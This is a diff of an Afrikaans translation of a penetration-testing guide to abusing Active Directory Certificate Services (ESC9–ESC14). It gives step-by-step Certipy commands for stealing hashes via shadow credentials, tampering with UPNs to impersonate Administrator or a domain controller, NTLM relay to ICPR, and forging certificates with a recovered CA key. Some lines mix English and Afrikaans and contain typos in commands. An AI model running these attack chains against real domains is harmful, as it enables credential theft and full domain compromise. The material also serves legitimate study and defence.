-Die versoek vir 'n sertifikaat word standaard deur Certipy gemaak gebaseer op die sjabloon `Machine` of `User`, wat bepaal word deur of die rekeningnaam wat gerelayed word op `$` eindig. Die spesifikasie van 'n alternatiewe sjabloon kan bereik word deur die gebruik van die `-template` parameter.
+Die versoek vir 'n sertifikaat word standaard deur Certipy gemaak gebaseer op die sjabloon `Machine` of `User`, bepaal deur of die rekeningnaam wat doorgestuur word op `$` eindig. 'n Alternatiewe sjabloon kan gespesifiseer word met die `-template` parameter.
 
-'n Tegniek soos [PetitPotam](https://github.com/ly4k/PetitPotam) kan dan gebruik word om autentisering af te dwing. Wanneer daar met domeincontrollers gewerk word, is die spesifikasie van `-template DomainController` vereis.
+'n Tegniek soos [PetitPotam](https://github.com/ly4k/PetitPotam) kan dan gebruik word om authentication af te dwing. Wanneer met domain controllers gewerk word, is die spesifikasie van `-template DomainController` nodig.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -454,125 +452,127 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
+## Geen Sekuriteitsuitbreiding - ESC9 <a href="#id-5485" id="id-5485"></a>
 
 ### Verduideliking
 
-Die nuwe waarde **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) vir **`msPKI-Enrollment-Flag`**, verwys na as ESC9, verhoed die insluiting van die **nuwe `szOID_NTDS_CA_SECURITY_EXT` security extension** in 'n sertifikaat. Hierdie vlag word relevant wanneer `StrongCertificateBindingEnforcement` op `1` gestel is (die verstekinstelling), wat verskil van 'n instelling van `2`. Dit is meer betekenisvol in scenario's waar 'n swakker sertifikaatkartering vir Kerberos of Schannel uitgebuit kan word (soos in ESC10), aangesien die afwesigheid van ESC9 die vereistes nie sou verander nie.
+Die nuwe waarde **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) vir **`msPKI-Enrollment-Flag`**, verwys na as ESC9, voorkom die inkorporering van die **nuwe `szOID_NTDS_CA_SECURITY_EXT` sekuriteitsuitbreiding** in 'n sertifikaat. Hierdie vlag word relevant wanneer `StrongCertificateBindingEnforcement` op `1` gestel is (die verstekinstelling), in teenstelling met `2`. Dit word veral belangrik in scenario's waar 'n swakker sertifikaat-toewysing vir Kerberos of Schannel uitgebuit kan word (soos in ESC10), aangesien die afwesigheid van ESC9 nie die vereistes sou verander nie.
 
-Die toestande waaronder hierdie vlag se instelling betekenisvol raak, sluit in:
+Die toestande waaronder hierdie vlag se instelling betekenisvol raak sluit in:
 
-- `StrongCertificateBindingEnforcement` is nie aangepas na `2` nie (met die verstek op `1`), of `CertificateMappingMethods` sluit die `UPN` vlag in.
+- `StrongCertificateBindingEnforcement` is nie op `2` gestel nie (met die verstek `1`), of `CertificateMappingMethods` sluit die `UPN` vlag in.
 - Die sertifikaat is gemerk met die `CT_FLAG_NO_SECURITY_EXTENSION` vlag binne die `msPKI-Enrollment-Flag` instelling.
-- Enige client authentication EKU word deur die sertifikaat gespesifiseer.
+- Enige client authentication EKU is deur die sertifikaat gespesifiseer.
-- `GenericWrite` regte is beskikbaar oor enige rekening om 'n ander te kompromitteer.
+- `GenericWrite` toestemmings is beskikbaar oor enige rekening om 'n ander te kompromitteer.
 
 ### Misbruikscenario
 
-Stel `John@corp.local` het `GenericWrite` regte oor `Jane@corp.local`, met die doel om `Administrator@corp.local` te kompromitteer. Die `ESC9` certificate template, waarvoor `Jane@corp.local` aangeteken mag word, is gekonfigureer met die `CT_FLAG_NO_SECURITY_EXTENSION` vlag in sy `msPKI-Enrollment-Flag` instelling.
+Gestel `John@corp.local` het `GenericWrite` toestemmings oor `Jane@corp.local`, met die doel om `Administrator@corp.local` te kompromitteer. Die `ESC9` sertifikaatsjabloon, waarvoor `Jane@corp.local` mag registreer, is gekonfigureer met die `CT_FLAG_NO_SECURITY_EXTENSION` vlag in sy `msPKI-Enrollment-Flag` instelling.
 
-Aanvanklik word `Jane` se hash verkry met Shadow Credentials, danksy `John` se `GenericWrite`:
+Aanvanklik word `Jane` se hash verkry deur Shadow Credentials, danksy `John` se `GenericWrite`:
 ```bash
 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
 ```
-Daarna word `Jane` se `userPrincipalName` gewysig na `Administrator`, met opset die `@corp.local` domeingedeelte weggelaat:
+Gevolglik word `Jane` se `userPrincipalName` gewysig na `Administrator`, en die `@corp.local` domeingedeelte word doelbewus weggelaat:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Hierdie wysiging oortree nie die beperkings nie, aangesien `Administrator@corp.local` steeds onderskeibaar bly as die `userPrincipalName` van `Administrator`.
+Hierdie wysiging oortree nie die beperkings nie, aangesien `Administrator@corp.local` onderskei bly as `Administrator` se `userPrincipalName`.
 
-Daarna word die `ESC9` sertifikaatsjabloon, gemerk as kwesbaar, aangevra as `Jane`:
+Daarna word die `ESC9` sertifikaattemplaat, gemerk as kwesbaar, versoek as `Jane`:
 ```bash
 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
 ```
-Daar word opgemerk dat die sertifikaat se `userPrincipalName` `Administrator` weerspieël, sonder enige “object SID”.
+Dit word opgemerk dat die sertifikaat se `userPrincipalName` die `Administrator` weerspieël, sonder enige “object SID”.
 
-Die `userPrincipalName` van `Jane` word dan teruggestel na haar oorspronklike, `Jane@corp.local`:
+`Jane` se `userPrincipalName` word dan teruggestel na haar oorspronklike, `Jane@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Die poging om met die uitgereikte sertifikaat te autentiseer lewer nou die NT-hash van `Administrator@corp.local`. Die opdrag moet `-domain <domain>` insluit weens die sertifikaat se gebrek aan domeinspesifikasie:
+Wanneer aanmelding met die uitgereikte sertifikaat probeer word, lewer dit nou die NT hash van `Administrator@corp.local`. Die opdrag moet `-domain <domain>` insluit weens die sertifikaat se gebrek aan domeinspesifikasie:
 ```bash
 certipy auth -pfx adminitrator.pfx -domain corp.local
 ```
-## Weak Certificate Mappings - ESC10
+## Swak Sertifikaatkoppelings - ESC10
 
 ### Verduideliking
 
-- Die verstekwaarde vir `CertificateMappingMethods` onder `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), vroeër gestel op `0x1F`.
+Twee registersleutelwaardes op die domeinbeheerder word deur ESC10 verwys:
-- Die verstekinstelling vir `StrongCertificateBindingEnforcement` onder `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, vroeër `0`.
+
+- Die verstekwaarde vir `CertificateMappingMethods` onder `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), voorheen ingestel op `0x1F`.
+- Die verstekinstelling vir `StrongCertificateBindingEnforcement` onder `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, voorheen `0`.
 
 ### Geval 1
 
-Wanneer `StrongCertificateBindingEnforcement` as `0` gekonfigureer is.
+Wanneer `StrongCertificateBindingEnforcement` ingestel is op `0`.
 
 ### Geval 2
 
-As `CertificateMappingMethods` die `UPN`-bit (`0x4`) insluit.
+As `CertificateMappingMethods` die `UPN` bit (`0x4`) insluit.
 
-### Misbruikgeval 1
+### Misbruik Geval 1
 
-Met `StrongCertificateBindingEnforcement` gekonfigureer as `0`, kan 'n account A met `GenericWrite` toestemmings uitgebuit word om enige account B te kompromitteer.
+Met `StrongCertificateBindingEnforcement` ingestel op `0`, kan 'n rekening A met `GenericWrite` magte misbruik word om enige rekening B te kompromitteer.
 
-Byvoorbeeld, met `GenericWrite` toestemmings oor `Jane@corp.local`, mik 'n aanvaller om `Administrator@corp.local` te kompromitteer. Die prosedure weerspieël ESC9 en maak dit moontlik om enige certificate template te gebruik.
+Byvoorbeeld, met `GenericWrite` regte oor `Jane@corp.local` beoog 'n aanvaller om `Administrator@corp.local` te kompromitteer. Die prosedure weerspieël ESC9 en laat toe dat enige sertifikaat-sjabloon gebruik word.
 
-Aanvanklik word `Jane` se hash verkry met Shadow Credentials, deur die `GenericWrite` uit te buit.
+Aanvanklik word `Jane`'s hash verkry met Shadow Credentials deur die `GenericWrite` uit te buit.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-Daarna word `Jane` se `userPrincipalName` verander na `Administrator`, en die `@corp.local` gedeelte word doelbewus weggelaat om 'n beperkingsoortreding te voorkom.
+Daarna word `Jane` se `userPrincipalName` na `Administrator` verander, opsetlik die `@corp.local` gedeelte weggelaat om 'n beperkingsoortreding te vermy.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Daarna word ’n sertifikaat wat kliëntverifikasie moontlik maak as `Jane` aangevra, met die standaard `User`-sjabloon.
+Hierna word as `Jane` 'n sertifikaat aangevra wat kliëntverifikasie moontlik maak, met die standaard `User`-sjabloon.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`Jane` se `userPrincipalName` word dan teruggestel na sy oorspronklike waarde, `Jane@corp.local`.
+`Jane` se `userPrincipalName` word dan teruggestel na die oorspronklike, `Jane@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Deur met die verkrygde sertifikaat te verifieer, sal die NT-hash van `Administrator@corp.local` verkry word, wat vereis dat die domein in die opdrag gespesifiseer word aangesien daar geen domeinbesonderhede in die sertifikaat is nie.
+Deur met die verkryde sertifikaat te verifieer, sal dit die NT-hash van `Administrator@corp.local` oplewer, wat vereis dat die domein in die kommando gespesifiseer word omdat die sertifikaat geen domeinbesonderhede bevat nie.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
 ### Misbruikgeval 2
 
-Met die `CertificateMappingMethods` wat die `UPN` bitvlag (`0x4`) bevat, kan 'n rekening A met `GenericWrite` toestemmings enige rekening B kompromitteer wat nie 'n `userPrincipalName` eienskap het nie, insluitend masjienrekeninge en die ingeboude domeinadministrateur `Administrator`.
+Met die `CertificateMappingMethods` wat die `UPN` bitvlag (`0x4`) bevat, kan 'n rekening A met `GenericWrite`-toestemmings enige rekening B kompromitteer wat 'n `userPrincipalName`-eienskap ontbreek, insluitend masjienrekeninge en die ingeboude domeinadministrateur `Administrator`.
 
 Hier is die doel om `DC$@corp.local` te kompromitteer, beginnende met die verkryging van `Jane` se hash deur Shadow Credentials, deur gebruik te maak van die `GenericWrite`.
 ```bash
 certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
 ```
-`Jane` se `userPrincipalName` word dan op `DC$@corp.local` gestel.
+`Jane` se `userPrincipalName` word dan na `DC$@corp.local` gestel.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
 ```
-'n sertifikaat vir kliëntverifikasie word as `Jane` aangevra met die standaard `User` sjabloon.
+'n Sertifikaat vir kliëntverifikasie word as `Jane` aangevra met die verstek `User`-sjabloon.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`Jane` se `userPrincipalName` word na hierdie proses na die oorspronklike waarde teruggestel.
+Die `userPrincipalName` van `Jane` word na hierdie proses na die oorspronklike waarde teruggestel.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
-Om via Schannel te verifieer, word Certipy se `-ldap-shell` opsie gebruik, wat suksesvolle verifikasie aandui as `u:CORP\DC$`.
+Om via Schannel te verifieer, word Certipy se `-ldap-shell` opsie gebruik, wat 'n suksesvolle verifikasie aandui as `u:CORP\DC$`.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Deur die LDAP-shell maak opdragte soos `set_rbcd` Resource-Based Constrained Delegation (RBCD)-aanvalle moontlik, wat die domain controller moontlik kan kompromitteer.
+Deur die LDAP shell maak opdragte soos `set_rbcd` Resource-Based Constrained Delegation (RBCD)-aanvalle moontlik en kan die domain controller kompromitteer.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Hierdie kwesbaarheid strek ook tot enige gebruikersrekening wat 'n `userPrincipalName` ontbreek of waar dit nie met die `sAMAccountName` ooreenstem nie, met die standaard `Administrator@corp.local` as 'n primêre teiken weens sy verhoogde LDAP-regte en die afwesigheid van 'n `userPrincipalName` standaard.
+Hierdie kwesbaarheid strek ook tot enige gebruikersrekening wat nie 'n `userPrincipalName` het nie of waar dit nie ooreenstem met die `sAMAccountName` nie, met die verstek `Administrator@corp.local` as 'n primêre teiken vanweë sy verhoogde LDAP-voorregte en die afwesigheid van 'n `userPrincipalName` by verstek.
 
 ## Relaying NTLM to ICPR - ESC11
 
-### Verduideliking
+### Explanation
 
-If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+As die CA-server nie gekonfigureer is met `IF_ENFORCEENCRYPTICERTREQUEST` nie, maak dit NTLM-relay-aanvalle sonder ondertekening via die RPC-diens moontlik. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
-Jy kan `certipy` gebruik om te nagaan of `Enforce Encryption for Requests` gedeaktiveer is, en certipy sal `ESC11`-kwetsbaarhede wys.
+Jy kan `certipy` gebruik om te kontroleer of `Enforce Encryption for Requests` uitgeskakel is, en certipy sal `ESC11` kwesbaarhede wys.
 ```bash
 $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -589,7 +589,7 @@ Enforce Encryption for Requests     : Disabled
 ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
 
 ```
-### Abuse Scenario
+### Misbruikscenario
 
 Dit moet 'n relay server opstel:
 ```bash
@@ -610,7 +610,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-Nota: Vir domain controllers moet ons `-template` in DomainController spesifiseer.
+Let wel: Vir domain controllers moet ons `-template` in DomainController spesifiseer.
 
 Of gebruik [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
 ```bash
@@ -620,17 +620,17 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
 
 ### Verduideliking
 
-Administrateurs kan die Sertifikaatowerheid opstel om dit op 'n eksterne toestel soos die "Yubico YubiHSM2" te stoor.
+Administrateurs kan die Certificate Authority opstel om dit op 'n eksterne toestel soos die "Yubico YubiHSM2" te stoor.
 
-If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM.
+As 'n USB-toestel aan die CA-bediener gekoppel is via 'n USB-poort, of 'n USB-toestelserver indien die CA-bediener 'n virtuele masjien is, is 'n authentication key (soms verwys as 'n "password") nodig vir die Key Storage Provider om sleutels in die YubiHSM te genereer en te gebruik.
 
-Hierdie key/password word in die register gestoor onder `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext.
+Hierdie authentication key/password word in die register gestoor onder `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in platteks.
 
-Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
+Verwysing in [hier](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
 ### Misbruikscenario
 
-As die CA se private sleutel op 'n fisiese USB-toestel gestoor is wanneer jy shell-toegang kry, is dit moontlik om die sleutel te herstel.
+As die CA se private sleutel op 'n fisiese USB-toestel gestoor is en jy shell access het, is dit moontlik om die sleutel te herstel.
 
 Eerstens moet jy die CA-sertifikaat bekom (dit is publiek) en dan:
 ```cmd
@@ -640,15 +640,15 @@ $ certutil -addstore -user my <CA certificate file>
 # Associated with the private key in the YubiHSM2 device
 $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
 ```
-Laastens, gebruik die certutil `-sign` kommando om 'n nuwe willekeurige sertifikaat te vervals deur die CA-sertifikaat en sy privaat sleutel te gebruik.
+Laastens gebruik die certutil `-sign` command om 'n nuwe arbitrêre sertifikaat te vervals deur die CA-sertifikaat en sy privaat sleutel te gebruik.
 
 ## OID Group Link Abuse - ESC13
 
 ### Verduideliking
 
-Die `msPKI-Certificate-Policy` attribuut maak dit moontlik dat die uitreikingsbeleid by die sertifikaat-sjabloon gevoeg word. Die `msPKI-Enterprise-Oid` objekte wat verantwoordelik is vir die uitreiking van beleide, kan in die Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) van die PKI OID container ontdek word. 'n Beleid kan aan 'n AD group gekoppel word deur hierdie objek se `msDS-OIDToGroupLink` attribuut, wat 'n stelsel in staat stel om 'n gebruiker wat die sertifikaat voorlê, te magtig asof hy 'n lid van die groep is. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+Die `msPKI-Certificate-Policy`-attribuut maak dit moontlik om die uitreikingbeleid by die sertifikaatsjabloon te voeg. Die `msPKI-Enterprise-Oid`-objekte wat verantwoordelik is vir die uitreik van beleide kan in die Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) van die PKI OID-behouer gevind word. 'n Beleid kan aan 'n AD-groep gekoppel word deur die `msDS-OIDToGroupLink`-attribuut van hierdie objek te gebruik, wat 'n stelsel in staat stel om 'n gebruiker te magtig wat die sertifikaat voorlê asof hy 'n lid van die groep is. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
-Met ander woorde, as 'n gebruiker toestemming het om 'n sertifikaat te registreer en die sertifikaat aan 'n OID group gekoppel is, kan die gebruiker die voorregte van daardie groep erf.
+Met ander woorde, wanneer 'n gebruiker toestemming het om 'n sertifikaat te registreer en die sertifikaat is gekoppel aan 'n OID-groep, kan die gebruiker die bevoegdhede van daardie groep erf.
 
 Gebruik [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) om OIDToGroupLink te vind:
 ```bash
@@ -672,49 +672,49 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243
 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 ------------------------
 ```
-### Abuse Scenario
+### Misbruikscenario
 
-Vind 'n gebruikerspermissie wat gebruik kan word met `certipy find` of `Certify.exe find /showAllPermissions`.
+Vind 'n gebruikerstoestemming wat jy kan gebruik met `certipy find` of `Certify.exe find /showAllPermissions`.
 
-As `John` toestemming het om op `VulnerableTemplate` te registreer, kan die gebruiker die voorregte van die groep `VulnerableGroup` erf.
+Indien `John` toestemming het om in te skryf vir `VulnerableTemplate`, kan die gebruiker die voorregte van die groep `VulnerableGroup` erf.
 
-Alles wat gedoen moet word, is om net die template te spesifiseer; dit sal 'n sertifikaat kry met OIDToGroupLink-regte.
+Alles wat nodig is, is om net die template te spesifiseer; die gebruiker sal 'n sertifikaat met OIDToGroupLink-regte kry.
 ```bash
 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
 ```
-## Kwesbare Sertifikaat Hernuwingskonfigurasie - ESC14
+## Kwetsbare Sertifikaat Hernuingskonfigurasie - ESC14
 
-### Verklaring
+### Verduideliking
 
-Die beskrywing by https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is uiters deeglik. Hieronder is 'n aanhaling van die oorspronklike teks.
+Die beskrywing by https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is buitengewoon deeglik. Hieronder is 'n aanhaling van die oorspronklike teks.
 
-ESC14 spreek kwesbaarhede aan wat voortspruit uit "weak explicit certificate mapping", hoofsaaklik deur die misbruik of onveilige konfigurasie van die `altSecurityIdentities`-attribuut op Active Directory gebruikers- of rekenaarsrekeninge. Hierdie multi-waarde attribuut laat administrateurs toe om X.509-sertifikate handmatig met 'n AD-rekening te koppel vir verifikasiedoeleindes. Wanneer dit ingevul is, kan hierdie eksplisiete mappies die standaard sertifikaat-mappinglogika oorverhoë, wat tipies staatmaak op UPNs of DNS-name in die SAN van die sertifikaat, of die SID wat ingebed is in die `szOID_NTDS_CA_SECURITY_EXT` sekuriteitsuitbreiding.
+ESC14 spreek kwesbaarhede aan wat voortspruit uit "weak explicit certificate mapping", hoofsaaklik deur misbruik of onseker konfigurasie van die `altSecurityIdentities` attribuut op Active Directory-gebruikers- of rekenaarrekeninge. Hierdie veelwaarde attribuut laat administrateurs toe om handmatig X.509-sertifikate aan 'n AD-rekening te koppel vir autentikasiedoeleindes. Wanneer dit gevul is, kan hierdie eksplisiete koppelings die standaard sertifikaatkoppelingslogika buite werking stel, wat gewoonlik staatmaak op UPNs of DNS-name in die SAN van die sertifikaat, of die SID ingebed in die `szOID_NTDS_CA_SECURITY_EXT` sekuriteit-uitbreiding.
 
-'n "Swakke" mapping gebeur wanneer die stringwaarde wat binne die `altSecurityIdentities`-attribuut gebruik word om 'n sertifikaat te identifiseer te wyd is, maklik raaiselbaar, staatmaak op nie-unikale sertifikaatvelde, of maklik te spoof-dele van sertifikate gebruik. As 'n aanvaller 'n sertifikaat kan verkry of vervaardig waarvan die attribuut ooreenstem met so 'n swak gedefinieerde eksplisiete mapping vir 'n bevoorregte rekening, kan hulle daardie sertifikaat gebruik om as daardie rekening te verifieer en hom te impersonate.
+'n "Swak" koppeling ontstaan wanneer die stringwaarde wat binne die `altSecurityIdentities` attribuut gebruik word om 'n sertifikaat te identifiseer te breed is, maklik raaiselbaar is, op nie-unieke sertifikaatvelde staatmaak, of maklik-spoofbare sertifikaatkomponente gebruik. As 'n aanvaller 'n sertifikaat kan bekom of vervaardig waarvan die attribuutwaardes pas by so 'n swak gedefinieerde eksplisiete koppeling vir 'n bevoorregte rekening, kan hulle daardie sertifikaat gebruik om as daardie rekening te autentiseer en dit te imiteer.
 
-Voorbeelde van potensieel swak `altSecurityIdentities` mapping-strings sluit in:
+Voorbeelde van potensieel swak `altSecurityIdentities` koppelingsstringe sluit in:
 
-- Mapping uitsluitlik deur 'n algemene Subject Common Name (CN): bv. `X509:<S>CN=SomeUser`. 'n Aanvaller mag 'n sertifikaat met hierdie CN van 'n minder veilige bron kan verkry.
+- Mapping solely by a common Subject Common Name (CN): e.g., `X509:<S>CN=SomeUser`. 'n Aanvaller kan moontlik 'n sertifikaat met hierdie CN van 'n minder veilige bron bekom.
-- Gebruik van oormatig generiese Issuer Distinguished Names (DNs) of Subject DNs sonder verdere kwalifikasie soos 'n spesifieke serial number of subject key identifier: bv. `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
+- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Gebruik van ander voorspelbare patrone of nie-kriptografiese identifiseerders wat 'n aanvaller moontlik in 'n sertifikaat wat hulle wettiglik kan verkry of vervals (indien hulle 'n CA gekompromitteer het of 'n kwesbare sjabloon soos in ESC1 gevind het) kan bevredig.
+- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1).
 
-Die `altSecurityIdentities`-attribuut ondersteun verskeie formate vir mapping, soos:
+Die `altSecurityIdentities` attribuut ondersteun verskeie formate vir koppelings, soos:
 
-- `X509:<I>IssuerDN<S>SubjectDN` (maps by full Issuer and Subject DN)
+- `X509:<I>IssuerDN<S>SubjectDN` (koppel volgens die volledige Issuer en Subject DN)
-- `X509:<SKI>SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value)
+- `X509:<SKI>SubjectKeyIdentifier` (koppel volgens die sertifikaat se Subject Key Identifier-uitbreidingswaarde)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `<I>IssuerDN<SR>SerialNumber`.
+- `X509:<SR>SerialNumberBackedByIssuerDN` (koppel volgens seriële nommer, implisiet gekwalifiseer deur die Issuer DN) - dit is nie 'n standaardformaat nie; gewoonlik is dit `<I>IssuerDN<SR>SerialNumber`.
-- `X509:<RFC822>EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN)
+- `X509:<RFC822>EmailAddress` (koppel volgens 'n RFC822-naam, tipies 'n e-posadres, uit die SAN)
-- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong)
+- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (koppel volgens 'n SHA1-hash van die sertifikaat se rou publieke sleutel - oor die algemeen sterk)
 
-Die veiligheid van hierdie mappings hang sterk af van die spesifisiteit, uniekheid en kriptografiese sterkte van die gekose sertifikaat-identifiseerders wat in die mapping-string gebruik word. Selfs met sterk sertifikaat-bindingsmodusse geaktiveer op Domain Controllers (wat hoofsaaklik implisiete mappings gebaseer op SAN UPNs/DNS en die SID-uitbreiding beïnvloed), kan 'n swak gekonfigureerde `altSecurityIdentities`-inskrywing steeds 'n direkte pad vir impersonasie bied as die mappinglogika self gebrekkig of te permissief is.
+Die veiligheid van hierdie koppelings hang sterk af van die spesifisiteit, uniekheid en kriptografiese sterkte van die gekose sertifikaatidentifiseerders wat in die koppelstring gebruik word. Selfs met sterk sertifikaatbindingsmodusse geaktiveer op Domain Controllers (wat hoofsaaklik implisiete koppelings gebaseer op SAN UPNs/DNS en die SID-uitbreiding beïnvloed), kan 'n swak geconfigureerde `altSecurityIdentities` inskrywing steeds 'n direkte pad tot imitasiemisbruik bied as die koppelingslogika self gebrekkig of te permissief is.
 
 ### Misbruikscenario
 
-ESC14 rig op **eksplisiete sertifikaat-mappings** in Active Directory (AD), spesifiek die `altSecurityIdentities`-attribuut. As hierdie attribuut gestel is (op ontwerp of deur wanopstelling), kan aanvallers rekeninge impersonate deur sertifikate voor te lê wat met die mapping ooreenstem.
+ESC14 mik op **explicit certificate mappings** in Active Directory (AD), spesifiek die `altSecurityIdentities` attribuut. As hierdie attribuut gestel is (deur ontwerp of wankonfigurasie), kan aanvallers rekeninge imiteer deur sertifikate voor te lê wat by die koppeling pas.
 
-#### Scenario A: Aanvaller kan na `altSecurityIdentities` skryf
+#### Scenario A: Aanvaller kan skryf na `altSecurityIdentities`
 
-**Voorwaarde**: Aanvaller het skryfpermissies op die teikenrekening se `altSecurityIdentities`-attribuut of die permissie om dit toe te ken in die vorm van een van die volgende permissies op die teiken AD-objek:
+**Voorvereiste**: Die aanvaller het skryfpermitte op die teikenrekening se `altSecurityIdentities` attribuut, of die reg om dit toe te ken in die vorm van een van die volgende permitte op die teiken AD-objek:
 - Write property `altSecurityIdentities`
 - Write property `Public-Information`
 - Write property (all)
@@ -724,17 +724,17 @@ ESC14 rig op **eksplisiete sertifikaat-mappings** in Active Directory (AD), spes
 - `GenericAll`
 - Owner*.
 
-#### Scenario B: Teiken het Swakke Mapping via X509RFC822 (E-pos)
+#### Scenario B: Teiken het swak koppeling via X509RFC822 (E-pos)
 
-- **Voorwaarde**: Die teiken het 'n swak X509RFC822-mapping in altSecurityIdentities. 'n Aanvaller kan die slagoffer se mail-attribuut stel om te pas by die teiken se X509RFC822-naam, 'n sertifikaat as die slagoffer registreer, en dit gebruik om as die teiken te verifieer.
+- **Voorvereiste**: Die teiken het 'n swak X509RFC822-koppeling in altSecurityIdentities. 'n Aanvaller kan die slagoffer se mail-attribuut stel om by die teiken se X509RFC822-naam te pas, 'n sertifikaat as die slagoffer registreer, en dit gebruik om as die teiken te autentiseer.
 
-#### Scenario C: Teiken het X509IssuerSubject Mapping
+#### Scenario C: Teiken het X509IssuerSubject-koppeling
 
-- **Voorwaarde**: Die teiken het 'n swak X509IssuerSubject eksplisiete mapping in `altSecurityIdentities`. Die aanvaller kan die `cn` of `dNSHostName`-attribuut op 'n slagoffer-prinsipaal stel om by die onderwerp van die teiken se X509IssuerSubject-mapping te pas. Daarna kan die aanvaller 'n sertifikaat as die slagoffer registreer en hierdie sertifikaat gebruik om as die teiken te verifieer.
+- **Voorvereiste**: Die teiken het 'n swak X509IssuerSubject eksplisiete koppeling in `altSecurityIdentities`. Die aanvaller kan die `cn` of `dNSHostName` attribuut op 'n slagoffer-prinsipaal stel om by die onderwerp van die teiken se X509IssuerSubject-koppeling te pas. Daarna kan die aanvaller 'n sertifikaat as die slagoffer registreer en daardie sertifikaat gebruik om as die teiken te autentiseer.
 
-#### Scenario D: Teiken het X509SubjectOnly Mapping
+#### Scenario D: Teiken het X509SubjectOnly-koppeling
 
-- **Voorwaarde**: Die teiken het 'n swak X509SubjectOnly eksplisiete mapping in `altSecurityIdentities`. Die aanvaller kan die `cn` of `dNSHostName`-attribuut op 'n slagoffer-prinsipaal stel om by die onderwerp van die teiken se X509SubjectOnly-mapping te pas. Daarna kan die aanvaller 'n sertifikaat as die slagoffer registreer en hierdie sertifikaat gebruik om as die teiken te verifieer.
